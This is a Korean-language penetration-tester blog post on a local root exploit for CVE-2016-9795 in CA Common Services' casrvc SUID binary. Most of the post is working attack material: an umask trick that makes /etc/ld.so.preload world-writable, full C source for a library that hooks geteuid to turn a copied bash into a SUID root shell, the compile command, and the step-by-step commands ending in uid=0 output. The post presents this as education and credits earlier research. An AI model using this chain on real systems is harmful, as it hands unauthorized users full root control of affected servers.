
재검토된 CVE-2016-9795 권한 상승 (CA Common Services 제품군의 casrvc 바이너리)
제 펜테스트 중 하나에서 casrvc SUID 바이너리(CA Common Services 제품군의 일부)를 우연히 발견했습니다. 알고 보니 이 바이너리는 로컬 권한 상승에 취약합니다. 실제로 이 취약점에는 NCC 그룹이 이미 공개 CVE(CVE-2016-9795)를 지정했습니다.
이 취약점은 정말 사소한 것이며, 나중에 알게 된 사실이지만 NCC 그룹은 PDF 권고문(https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf)에서 개념 증명(Proof-of-Concept)을 공개했습니다. 그럼에도 불구하고 저는 펜테스트를 진행하는 동안 다른 공격 경로를 선택했습니다. 이 경로는 우선 실행 가능한 대안이며, 올바르게 수행된다면 위험이 더 적을 수 있습니다.
취약점은 casrvc SUID 바이너리에 있으며, 이 바이너리는 사용자가 로그가 기록될 파일 이름(및 절대 경로)을 선택할 수 있는 기능을 노출합니다. 이 로그 파일의 일부는 사용자가 제어할 수 있으므로, 결국 권한이 없는 사용자에게 어느 정도 제어 가능한 임의 쓰기(arbitrary write)를 허용합니다.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
이미 존재하는 PoC는 단순히 로그 출력을 /etc/passwd 파일에 덧붙여 root 그룹에 사용자 항목을 추가합니다. /etc/passwd에 내용을 추가하는 것은 때때로 위험할 수 있으며, 저는 어떤 대가를 치르더라도 서버 충돌을 피하고 싶었습니다.
이 악용 기법은 새로운 것이 아니며 많은 다른 연구자들이 이미 다루었습니다(@dawid_golunski, @itm4n 포함). 이 기법은 이 바이너리에 적용되며, 교육 목적으로 여기서 설명합니다.
이 기법은 /etc/ld.so.preload 파일에 내용을 추가하거나 생성하는 것으로 구성됩니다. Linux 매뉴얼 man ld.so에 설명된 대로 이 파일은 바이너리가 실행될 때마다 로드될 라이브러리 이름 목록(한 줄에 하나)을 정의할 수 있게 해줍니다.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
이 파일의 특이한 점은 사전 로드된 라이브러리가 SUID 프로그램을 포함하여 시스템에서 실행되는 모든 프로그램에 대해 로드된다는 것입니다. 물론 이는 사용자가 자신의 세션 컨텍스트에서 라이브러리를 사전 로드하도록 설정할 수 있는 "LD_PRELOAD" 환경 변수의 경우와는 다릅니다.
생성된 파일의 내용을 완전히 제어하기 위해 umask 명령을 사용하여 파일 모드 생성 마스크를 설정합니다. 그러면 로그 파일이 생성될 때 모든 사용자에게 읽기 및 쓰기 권한이 부여됩니다.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
casrvc 실행 파일을 실행한 후에는 파일 내용에 유효한 .so 라이브러리가 포함되어 있지 않아 컴퓨터에서 프로그램이 시작될 때마다 오류 메시지가 생성되므로, 우리는 파일 내용을 가능한 한 빨리 지우려고 합니다.
우리의 경우 umask 트릭이 작동합니다. 하지만 때때로 실행 파일이 umask 값을 자체적으로 설정하여 우리가 설정한 umask 값이 덮어써지고 무시될 수 있습니다.
다음으로 .so 파일을 생성합니다. 이 .so 파일의 소스 코드는 다음과 같습니다. 이 코드는 세 가지 작업을 수행합니다.
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
컴파일하려면 간단히 다음과 같이 실행합니다.
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
앞선 명령에서는 /tmp 파티션이 NOEXEC 또는 NOSUID 속성으로 마운트되지 않았다고 가정합니다.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)